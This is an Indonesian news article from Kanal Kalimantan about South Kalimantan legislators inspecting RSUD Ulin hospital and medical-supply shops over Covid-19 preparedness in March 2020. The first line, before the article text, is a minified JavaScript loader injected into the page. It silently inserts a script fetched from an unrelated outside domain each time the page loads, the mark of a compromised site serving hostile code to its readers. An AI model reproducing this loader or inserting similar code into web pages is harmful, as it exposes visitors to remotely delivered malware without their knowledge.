(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN– Wakil Ketua DPRD Kalsel Muhammad Syaripudin dan Komisi IV DPRD Kalsel lakukan inspeksi mendadak atau sidak ke Rumah Sakit Umum Daerah (RSUD) Ulin Banjarmasin serta toko penjual alat kesehatan (alkes), Rabu (18/3/2020).
Sidak dilakukan untuk memantau kesiapan dan persiapan provinsinya, terutama RSUD Ulin dalam penanganan virus Corona atau Covid-19 di Banua. Saat pertemuan dengan Direksi RSUD Ulin beserta jajaran, Syaripudin menyatakan, pihak lembaganya siap mendukung pencegahan dan penanganan Covid-19.
Pada pertemuan tersebut, Syaripudin mengapresiasi, juga mendukung perhatian serius dari RSUD Ulin serta pihak terkait lainnya dalam upaya pencegahan dan penanggulangan Covid-19. Begitu pula dalam memberikan informasi kepada masyarakat agar akurat serta jangan sampai meresahkan, pesan Bang Dhin yang juga Sekretaris Dewan Pimpinan Daerah (DPD) PDIP Kalsel, ujar juru bicara (Jubir) Setwan tingkat provinsi tersebut.
“Kami support penuh dan meminta agar semua pihak betul-betul memberikan informasi yang baik kepada masyarakat, supaya tidak terjadi keresahan yang tentunya berdampak tidak baik pula bagi masyarakat kita sendiri,†kata Syaripudin.
Pendapat dan dukungan serupa dari Ketua Komisi IV DPRD Kalsel HM Lutfi Saifudin yang juga sebagai Anggota Badan Anggaran (Banggar) lembaga legislatif tersebut. Politikus muda Partai Gerakan Indonesia Raya (Gerindra) asal daerah pemilihan Kalsel I/Kota Banjarmasin itu juga menyatakan kesiapan memberikan dukungan dalam penganggaran kalau memang perlu.
“Kami siap mendukung sepenuhnya baik itu secara moril maupun anggaran, untuk pencegahan dan penanganan Covid-19,” katanya.
Sementara Direktur RSUD Ulin Dr. Suciati menerangkan bahwa pihaknya mendapat amanah dari Kementerian Kesehatan (Kemenkes) Republik Indonesia sebagai Rumah Sakit rujukan dalam penanganan Covid-19.
“Sesuai amanat Kemenkes tersebut, kami saat ini menyediakan 10 kamar isolasi. Sedangkan dalam hal penganggaran pihaknya menggunakan mekanisme Badan Layanan Umum Daerah (BLUD) sehingga dapat lebih fleksibel,” ujarnya.
Usai dari RSUD Ulin, Komisi IV DPRD Kalsel memantau toko-toko penjual alat kesehatan (alkes) di Kota Banjarmasin guna melihat ketersediaan kelengkapan kesehatan.(Kanalkalimantan/fikri)
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru menerima anugerah penghargaan dari Ombudsman Republik Indonesia (RI)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pemerintah resmi menaikan Upah Minimum Provinsi (UMP) Kalimantan Selatan (Kalsel) pada tahun… Read More
KANALKALIMANTAN.COM, PARINGIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kabupaten Balangan mengelar grand final pemilihan Duta… Read More
KANALKALIMANTAN.COM, AMUNTAI - Polres Hulu Sungai Utara (HSU) bersama Pemerintah Kabupaten HSU melakukan peninjauan Pasar… Read More
KANALKALIMANTAN.COM - Layanan mobile banking (m-banking) milik BRI, BRImo, terus berupaya mempermudah para nasabah untuk… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru ikut berpartisipasi dalam perayaan Hari Antikorupsi Sedunia (Hakordia)… Read More
This website uses cookies.